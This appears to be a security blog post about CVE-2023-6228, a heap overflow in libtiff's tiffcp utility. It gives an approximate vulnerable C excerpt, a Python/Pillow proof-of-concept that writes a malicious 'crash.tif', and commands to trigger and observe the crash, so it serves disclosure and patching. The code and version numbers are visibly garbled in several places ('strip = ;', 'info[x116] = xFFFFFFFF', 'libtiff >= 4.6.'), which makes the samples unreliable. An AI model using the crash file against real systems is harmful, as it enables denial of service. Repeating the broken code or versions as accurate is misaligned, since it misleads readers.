CVE-2023-6228 - How A Malicious TIFF Image Can Crash tiffcp via Heap Overflow (with Code Sample and Exploit Details)

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Introduction

Security issues are still popping up in well-known open-source image libraries—this time, with the TIFF file format. Let’s talk about CVE-2023-6228, a vulnerability in the tiffcp utility shipped with the libtiff package. Here, a specially crafted TIFF file can trigger a heap-based buffer overflow, leading to a crash or potentially worse if exploited further.

What's tiffcp?

tiffcp is a small command-line utility that copies and merges TIFF files. It comes with the widely-used libtiff package, which is present in almost all Linux distributions.

Attack Vector: Malicious TIFF file

- Public advisory: NVD CVE-2023-6228 Entry
- libtiff GitHub Issue: libtiff Issue #616

How the Vulnerability Works

The vulnerability is in the code that reads TIFF images’ internal tags and data. When reading fields in an invalid or corrupted TIFF file, tiffcp miscalculates the size of a buffer it needs. A malicious file can exploit this calculation, making the program allocate too little memory and then overwrite data (heap overflow) when copying pixels.

Where’s the Problem?

Inside the cpImage() function in tiffcp.c, data is read and stored. The program trusts some of the fields inside the TIFF header (like image dimensions or strip sizes). An attacker can supply oversized metadata, causing a buffer overrun.

Example: Code Snippet from tiffcp.c (Vulnerable Section)

Below is a simplified and annotated version (real code is more complex, but the core problem looks like this):

// tiffcp.c excerpt (approximate for illustration)

uint32 rowsperstrip, nstrips, strip;
tmsize_t *bytecounts = NULL; // array to hold strip lengths

// Allocates memory based on nstrips (number from attacker-controlled TIFF file)
bytecounts = (tmsize_t *) _TIFFmalloc(nstrips * sizeof(tmsize_t));
if (!bytecounts) {
    // handle error
}

// Here, for each strip, copy the data from file to memory
for (strip = ; strip < nstrips; strip++) {
    // ... read strip data, risking going past end of allocated buffer if nstrips is huge ...
    TIFFReadEncodedStrip(...);
}

*Problem*: If nstrips is too big (thanks to the input file), _TIFFmalloc allocates less or corrupt memory. Looping over strips then overruns the buffer—*heap overflow*.

The Exploit: Minimal Proof-of-Concept

Researchers created a simple malicious TIFF file that triggers this crash. Here’s a Python snippet using the Pillow library to make a crafted TIFF with an excessive number of image strips.

from PIL import Image, TiffImagePlugin

# Create a 1x1 pixel image
img = Image.new('RGB', (1, 1))

# Craft malicious metadata
info = TiffImagePlugin.ImageFileDirectory_v2()
info[x116] = xFFFFFFFF     # RowsPerStrip - huge value!

# Save image with malicious info
img.save('crash.tif', tiffinfo=info)

Now run

tiffcp crash.tif output.tif

If the system uses a vulnerable libtiff version, this command may crash with a heap overflow.

Note: For true research/exploitation, advanced binary-editing is used, but the example above shows the basic logic.

Run the malicious file with Address Sanitizer or Valgrind

valgrind tiffcp crash.tif output.tif

You’ll see output like

==12345== Invalid write of size 8
==12345==    at x4D44AB: cpImage (tiffcp.c:1123)
...

Is This Exploitable Beyond Crashing?

Heap corruption usually means *potential* for code execution, but as of public advisories, only DOS (denial-of-service) is confirmed. Still, this is a critical bug—heap overflows can sometimes be chained for further attacks.

How to Fix

The libtiff maintainers already published a patch. Upgrade to libtiff >= 4.6. if possible.

- libtiff 4.6. Release Notes

On Linux, you can update your packages

sudo apt update && sudo apt upgrade libtiff-tools libtiff5

References

- NVD Summary: CVE-2023-6228
- Red Hat Security: CVE-2023-6228 RedHat
- libtiff GitLab Issue: Issue #616
- Upstream Patch: Merge request 466
- CISA Advisory: CISA Known Exploited List

How to fix: Upgrade your libtiff. Never process suspicious TIFF files with vulnerable tiffcp!

Always validate your dependencies—and don’t trust image files from strangers.

Stay secure. Patch early, patch often!

*Note: This article is exclusive content by request and summarizes current public knowledge about CVE-2023-6228 for educational purposes. Always test in a safe environment and read your distro’s latest security advisories.*

Timeline

Published on: 12/18/2023 14:15:11 UTC
Last modified on: 12/29/2023 07:15:10 UTC